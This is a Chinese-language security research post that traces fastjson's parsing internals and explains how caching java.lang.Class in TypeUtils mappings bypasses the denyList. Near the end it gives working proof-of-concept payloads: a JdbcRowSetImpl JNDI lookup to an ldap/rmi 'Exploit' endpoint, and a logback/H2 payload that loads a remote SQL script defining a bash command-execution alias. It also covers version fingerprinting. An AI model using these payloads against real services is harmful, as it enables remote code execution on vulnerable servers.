首先奉上廖大大的fastjson经典流程图
- JSON 入口,提供将json串转换为java对象的静态方法。这些方法的实现,实际托付给了DefaultJSONParser类
- DefaultJSONParser 功能组合器,它将上层调用、反序列化配置、反序列化实现、词法解析等功能组合在一起,相当于设计模式中的外观模式,供外部统一调用
- ParserConfig 全局唯一的解析配置
- JSONLexer 专门用于解析 JSON 字符串,主要JSONScanner和JSONLexerBase,前者是对整个字符串的反序列化,后者是接Reader直接序列化
- SymbolTable 因为 json 特殊性,对关键 key 的缓存
- ObjectDeserializer 反序列化接口
解析流程梳理
Demo基于 fastjson 1.2.36 & jdk 1.8.0_151
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class test {
public static void main(String[] args) throws IOException {
String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}";
Object obj = JSON.parse(payload);
}
}
DefaultJSONParser 初始化
首先直接跟入 parse 函数,可以看到默认使用 default_parser_feature,这个值 989,用于直接与 feature 与运算来实现功能开关
跟着就可以看到DefaultJSONParser初始化,其中第二个参数即是全局配置实例
简单跟入看一下配置信息,可以直观看到很多有用的内容
回到初始化,紧接着就是调用 scanner 对 json 内容进行解析,实际上是将bp指针停在0位,同时ch对应第一个字符,并通过鉴别ch值赋予token对应常量,这个常量在后面会用到
parse 解析
在DefaultJSONParser初始化完毕后,紧接着调用parse(),此函数会根据 token 值来实现不同内容的解析,在这里会进入 JSONObject 函数,其参数是通过将 lexer.features以及 Feature.OrderedField.mask 进行位运算来判断是否支持相关功能,进而生成 LinkedHashMap 或者 HashMap
初始化后完毕后,再通过 parseObject 来实现真正的内容解析
parseObject
parseObject 通过从左到右,进行嵌套解析
- 首先调用scanSymbol对key进行扫描
com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol(com.alibaba.fastjson.parser.SymbolTable, char)
简单解析,np记录key前"
所在位,sp 记录有效字符长度,然后拷贝进symbolTable中,同时记录的还有对应的 hash 值,计算方式如下
hash = 31 * hash + chLocal;
若遇到\\
开头的key,则向之后内容存到 sbuf 中,并通过控制sp长度将解析出的key放入到symbolTable中,但注意此时没有对应的hash值(这里复用 sbuf 减少开支,对 sbuf 长度控制还有简单的处理可以自己看下源码)
- 之后对 key 值进行判断是否为特殊 key
- 通过标志判断是否需要解析填充对应 context
之后是类似 key 判断的逻辑代码,只不过是这次是用来判断 value,在没有设置 fieldTypeResolver 的情况下,会调用 parseObject 进行嵌套解析
循环嵌套分析大致就是以上的逻辑
当判断 key 为 @type 之后会进入相关逻辑代码
可见关键的checkAutoType,在这里因为java.lang.Class不在黑名单中,所以允许在 map 中搜寻并返回相关类
可见 autoType 是否开启都不会影响到通过 map 搜寻(下图前两个红框),所以造成通杀
之后,进入到反序列化clazz过程
函数目的如其命名:通过 type 来获取反序列化操作函数,通过判断是否为空、任意类或参数化类(泛型),并返回对应的类
跟着看下 get 函数的内容,可以看到通过计算类名对应 hash 值,在 buckets 中寻找对应实例
那么 buckets 里面的内容是怎么来的呢?其实是在DefaultJSONParser初始化阶段生成全局 ParserConfig 时候填充的
现在有了反序列化目标实例后,回到 @type 逻辑中,执行反序列化
在对 @type 反序列化中,通过 accept 判断下一位是否为合法的"
,并将 token 设置为"
后的首字符对
应值(常见操作,不再提及)
接着会判断对应 value 的 key 是否为val
,在通过判断期望:
后,解析出后面双引号中间的字符串值,再判断是否使用}
进行了闭合
所以通过上面一段就先解释了这段代码的处理逻辑
{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
当获取到 val 后通过通过判断 val 类型进行简单操作
之后就是对 clazz 即 @type 值判断,选择对应的处理方式,对于java.lang.Class
尝试读取目标类
TypeUtils#mappings 中存储着特征值以及对应的基本类,在无法查询目标类的情况下会调用launcher主线程直接加载目标类并返回,同时会将特征值(类名)以及对应类推进 mappings 中,方便后续调用
后面将其加入到 object 中,以及更新 context,再继续进行后面的解析
Bypass denyList
结合上面checkAutoType逻辑,这次将com.sun.rowset.JdbcRowSetImpl推入了 Mapping,下一次程序能搜索 map 中有对应类,导致绕过了 denyList 检测
createJavaBeanDeserializer
当类似前面解析的逻辑,当进入到到反序列化阶段,需要获取目标类,程序会在ParserConfig中判断是否为一些常见类
在没有任何匹配的情况下,会调用createJavaBeanDeserializer生成一个新的deserializer
该函数下,通过判断 clazz是否具有泛型参数、外部类型、接口、内部类,并生成 beanInfo 用于各种逻辑判断变量信息
最后达到最重要的以下两句代码,通过 beanInfo 进入 asm 工厂生成deserializer
asmFactory 动态生成
可以见到中间部分代码,用来生成构造、实例生成、反序列化、数组值反序列化函数
由于是 asm 动态生成的类的字节码,无法直接查看,这里通过写到本地磁盘进行查看
代码过长,截取一部分,关注继承自JavaBeanDeserializer
和最下面的三个公共函数(还有一个deserialzeArrayMapping因为代码太长就没放上来)
回到上面 asm 生成类中创建实例时 JavaBeanDeserializer 初始化起到的作用,根据下面代码可以看到主要就是将 beanInfo 中的变量通过 createFieldDeserializer 转换,并将各个变量支持的不同字段名放入alterNameFieldDeserializers中并存到sortedFieldDeserializers中
可以看到两个关键的参数
Deserialze 反序列化
经过上面的过程获取到了目标类以及相应的deserialzer,就可以真正执行反序列化了
因为导出的class文件通过反编译里面的内容。。。。反正我是看不懂,直接越过看最后的调用
debug 下可以看到传入的类型以及各个参数值
紧接着跟入到JavaBeanDeserializer#deserialze
,首先还是后续内容格式进行判断,如果跟着是,
则进入以下代码,这里提取每一个sorted的字段序列化对象、字段名、字段对应类
如果字段不为空,则继续提取对应将要搜寻的字符串(name_chars)
接下来就是对 fieldClass 的分类处理,对 autoCommit 而言,即为进入以下代码片段,内容很好理解,后面就是值匹配的一系列操作,就不展开了
关键点
在检测到 @type 为 java.lang.Class 后,会调用com.alibaba.fastjson.serializer.MiscCodec进行反序列化。先解析出val对应的字符串值,之后调用com.alibaba.fastjson.util.TypeUtils#loadClass()来读取目标类,如果不存在于 mappings 中就会推进去以备后(第二轮)用。这里 com.sun.rowset.JdbcRowSetImpl 就被推进了 map 中
第二轮检测 @type 为 com.sun.rowset.JdbcRowSetImpl 时,在checkAutoType()中,由于map 优先级高于denyList,且可以在 map 中搜索到相关类,导致绕过了黑名单检测,最终实现目标类实例化
早期版本中,TypeUtils.java#loadClass 读到的类会直接推进 map;而在接近版本 1.2.47(具体哪个版本开始的没注意),loadClass 会通过新增的boolean参数 cache 选择是否将读到的 class 推进 map
POC
1
广泛公开流传的,与 autoType 无关,可通杀 version < 1.2.48
{
"name":
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x":
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:10999/Exploit",
"autoCommit": true
}
}
2
原文章,需要 autoType 开启,version <= 1.2.58,以及下面列出的 jar 包支持
h2 database and some jar
.
├── fastjson-1.2.58.jar
├── h2-1.4.199.jar
├── jackson-annotations-2.9.8.jar
├── jackson-core-2.9.8.jar
├── jackson-databind-2.9.8.jar
└── logback-core-1.3.0-alpha4.jar
Poc
{
"@type": "ch.qos.logback.core.db.DriverManagerConnectionSource",
"url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
}
# inject.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('calc') # 直接改这里
高版本补丁
i. denyList
自 1.2.42 开始改成了denyHashCodes,以增大攻击难度,github 上有人跑了一下类名及对应哈希
ii. loadClass
默认 cache 为 false,导致无法将目标类推进 map 来绕过denyHashCodes检测
高版本绕过
暂上文章
JDK version
java反序列化攻击受jdk版本影响
快速爆版本
经过简单的搜索,可以发现只有两个点在抛出异常时会携带有版本号信息
考虑到攻击场景,所以利用位于JavaBeanDeserializer#deserialze
中
所以在进入此函数后,因涉及多次判断,最简单情况只要 token 不为{
、}
、[
、,
情况下即可抛出版本信息
遇到的问题
i. System.identityHashCode in Run & Debug mode
发现直接run 1.2.36源码时(疑惑?),deserializers中加入WeakReference会导致 java.lang.Class对应 key 丢失
深入一下,可以看到在 run 模式下,最后生成的 key 都是 807,导致了覆盖
debug 模式下则是一个 807,一个 425,所以后面可以搜索到